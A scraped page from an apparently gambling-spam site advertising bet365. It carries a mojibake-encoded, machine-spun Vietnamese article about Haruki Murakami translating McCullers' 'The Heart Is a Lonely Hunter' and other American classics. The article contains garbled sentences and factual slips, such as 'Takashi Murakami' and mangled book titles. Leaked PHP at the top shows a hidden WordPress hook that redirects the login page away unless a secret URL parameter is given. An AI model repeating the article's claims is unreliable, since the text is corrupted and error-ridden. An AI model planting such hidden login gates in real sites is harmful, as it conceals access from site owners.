//±£»¤ºǫ́µÇ¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Haruki Murakami yêu thích dịch thuật, ở tuổi 71 | nhà cái bet365 có uy tín không?_ đăng ký bet365_tá»· lệ cược bet365

Haruki Murakami yêu thích dịch thuật, ở tuổi 71

Theo đài truyá»n hình Sun TV, ngày 8/10, tại tỉnh Hyogo – nÆ¡i tập trung các nhà văn trung há»c, công chúng đã tập trung tại má»™t nhà hàng để xem trá»±c tuyến giải Nobel Văn há»c. Khi Haruki Murakami “lỡ hẹn” lần nữa và giành được giải thưởng, ai đó đã rÆ¡i nước mắt. Mặc dù vậy, Nobel văn há»c dưá»ng như không phải là mối quan tâm lá»›n nhất cá»§a tác giả. Anh cho biết anh tập trung vào việc dịch sách và dẫn chương trình radio. Trong bản dịch, anh đã dịch tác phẩm “Heart Is a Lonely Hunter” vừa được phát hành tại Nhật Bản. Những ngưá»i hâm má»™ Haruki Murakami xem lá»… trao giải Nobel Văn há»c vào ngày 8 tháng 10 tại tỉnh Hyogo, Nhật Bản. . Video: Sun TV .

Äầu tháng 10, Murakami đã nói vá» quá trình dịch cuốn sách này trong thá»i kỳ Nhật Bản. Ở tuổi 70, ông vui vẻ làm nghá» phiên dịch cho biết: “Niá»m hạnh phúc lá»›n nhất cá»§a tôi là có thể dịch những tác phẩm mình thíchâ€. Rừng Na Uy (Norwegian Wood) tâm huyết vá»›i bản dịch cá»§a tác giả và háo hức chỠđợi sá»± hưởng ứng cá»§a các bạn trẻ.

Khác vá»›i cuốn sách do anh dịch (môi trưá»ng thành thị), “Trái tim là thợ săn cô đơn” lấy bối cảnh tại má»™t thị trấn nhá», mang màu sắc hiện thá»±c và tôn giáo. Tác phẩm xoay quanh 6 số phận, trong đó có bác sÄ© da Ä‘en, câm Ä‘iếc Copeland bị tẩy chay do chênh lệch kiến ​​thức, hay cư dân má»›i Jake Blount – luôn cảm thấy lạc lõng. Anh nói: “Câu chuyện kết thúc không lối thoát, nhưng có dư vị, và niá»m tin sưởi ấm tôi.†Ngưá»i viết rất ấn tượng vá»›i cách McCullers lá»™t tả tâm hồn nhân vật. Má»—i ngưá»i trong tác phẩm Ä‘á»u có ná»—i Ä‘au riêng, cùng nhau xoa dịu phần nào ná»—i cô đơn.

Takashi Murakami ca ngợi McCullers (1917-1967) là má»™t thiên tài vá»›i con mắt tinh tưá»ng. Cuốn sách này được xuất bản năm 23 tuổi. “The Heart is a Lonely Hunter” được xuất bản vào năm 1940 và được viết bằng má»™t thứ ngôn ngữ cổ khó có thể dịch hoàn toàn sang các ngôn ngữ khác. Vì vậy, Murakami đã cố gắng sá»­ dụng các cách diá»…n đạt khác nhau để có được hiệu quả dịch thuật tốt nhất.

Phiên bản tiếng Nhật cá»§a “Heart is a Lonely Hunter” được phát hành vào tháng 8. Carson McCullers đã xuất bản các tác phẩm trong năm nay. Năm 1940. Tên cá»§a dịch giả Haruki Murakami được khắc trên trang bìa. Ảnh: “Japan Times” -Murakami cho biết anh cam kết dịch vì độc giả Nhật Bản không quan tâm đến tác phẩm kinh Ä‘iển thế giá»›i. Anh ấy là dịch giả cá»§a “The Catcher in the Rye” do JD Salinger viết, “The Long Goodbye of Raymond Chandler” và Truman Capote ở Tiffany “Bữa sáng” cá»§a (Tiffany). Ông khen ngợi nhà văn Mỹ William Faulkner-chú ý đến chi tiết và góc nhìn độc đáo. Ông nhắc F. Scott Fitzgerald, cha đẻ cá»§a “The Great Gatsby”, rằng ông được truyá»n cảm hứng để làm việc vá»›i má»™t giá»ng văn đầy cảm xúc, phản ánh vẻ đẹp cá»§a thá»i đại. Theo báo cáo cá»§a Openculture, Murakami đã dịch “The Great Gatsby” ở tuổi 60, khi ông nghÄ© rằng mình đủ kỹ năng để chuyển tải ý nghÄ©a tương đối cá»§a bản gốc. Anh cẩn thận xem xét từng chữ, từng hình ảnh thông thưá»ng và tá»± há»i mình sẽ viết như thế nào nếu đó là Fitzgerald. Nhà văn nói: “Tôi hiểu câu chuyện khi Ä‘á»c, và tôi đánh thức sá»± bí ẩn cá»§a ngôn từ trong bản dịch.†Ông so sánh văn há»c nguyên thá»§y cá»§a Nga, Mỹ và Nhật Bản. Sau đó, anh há»c cách ngưá»i phiên dịch vận dụng ngôn ngữ để chuyển tải các câu má»™t cách chính xác và trôi chảy. Tác giả đã viết bảy trang cá»§a cuốn sách đầu tiên bằng tiếng Anh và sau đó dịch nó sang tiếng mẹ đẻ cá»§a mình, tránh những từ không cần thiết trong cách viết truyá»n thống cá»§a Nhật Bản. Trên trang web cá»§a TLS, tác giả tiết lá»™ rằng trong quá trình dịch thuật, anh đã trải nghiệm quá trình thoải mái “ngâm mình trong suối nước nóng ngày mưa”.

Haruki Murakami (Haruki Murakami) sinh năm 1949, anh luôn đưa vợ Ä‘i Ä‘á»c bản. Äối vá»›i bản nháp đầu tiên, cô nhận xét vá» 200 ghi chú. Tác giả từng nói trên Newyoker: “Tôi Ä‘ang cố gắng viết làm sao để ít nhận được lá»i khuyên nhất từ ​​vợ mình.†Ảnh: Elena Seibert

Haruki Murakami là má»™t trong những nhà văn nổi tiếng nhất cá»§a văn há»c đương đại Nhật Bản. Các tác phẩm tiêu biểu cá»§a anh bao gồm: “Biên giá»›i phía Nam”, “Phía Tây mặt trá»i” (1992), “Vệ tinh tình nhân” (1999), “Kafka Coastal” (2002), “Quý 1 năm 2009”. Sau khi được biết đến vá»›i tác phẩm Rừng Nauy ở tuổi 38, tác phẩm mang tên “văn hóa nhạc pop†cá»§a anh đã tạo nên “cÆ¡n sốt†ở Nhật Bản và trên thế giá»›i. Ông đã giành được Giải thưởng Nhà văn Jerusalem-2007 vá» Các vấn đỠTá»± do, Hòa bình và Xã há»™i. Tác phẩm má»›i nhất cá»§a anh là “Killing Commendatore” (Killing Commendatore) được xuất bản vào năm 2017. Vào tháng 5, anh được xuất bản trong “Stay Home Special” và “Khuyến khích ngưá»i nghe vượt qua khó khăn.”dịch. Nó cÅ©ng có má»™t chương trình phát thanh Murakami thưá»ng xuyên, đã hoạt động được hai năm. Tác giả không thích đứng trước đám đông mà Ä‘iá»u hành má»™t đài phát thanh, vì muốn giữ liên lạc vá»›i khán giả và chia sẻ sở thích âm nhạc cá»§a mình.

Quỳnh Quyên (theo Japantimes)

nhà cái bet365 có uy tín không?_ đăng ký bet365_tỷ lệ cược bet365